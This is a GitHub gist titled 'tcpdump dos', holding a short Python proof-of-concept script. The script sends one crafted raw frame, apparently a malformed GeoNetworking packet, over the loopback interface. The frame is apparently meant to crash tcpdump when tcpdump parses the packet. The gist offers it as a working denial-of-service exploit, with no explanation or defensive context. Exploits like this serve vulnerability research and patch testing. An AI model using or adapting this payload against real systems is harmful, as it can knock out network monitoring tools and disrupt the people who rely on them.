Skip to content

Instantly share code, notes, and snippets.

@pedrox86lopes
Created February 7, 2015 23:25
Show Gist options
  • Save pedrox86lopes/21305f573f06b12b4519 to your computer and use it in GitHub Desktop.
Save pedrox86lopes/21305f573f06b12b4519 to your computer and use it in GitHub Desktop.
tcpdump dos
#!/usr/bin/env python
from socket import socket, AF_PACKET, SOCK_RAW
s = socket(AF_PACKET, SOCK_RAW)
s.bind(("lo", 0))
geonet_frame =
"\x00\x1f\xc6\x51\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\xc6\x51\x07\x07\x07\x07\x07\x07\xef\x06\x07\x35\x97\x00\x24\x8c\x7a\xdf\x6f\x08\x00\x45\x00\x00\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01\x68\x0a\x01\x01\x01\x99\x80\x00\x35\x00\x29\x16\xa5\x01\x76\x01\x00\x00\xff\x00\x00\x01\x00\x00\x00"
s.send(geonet_frame)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment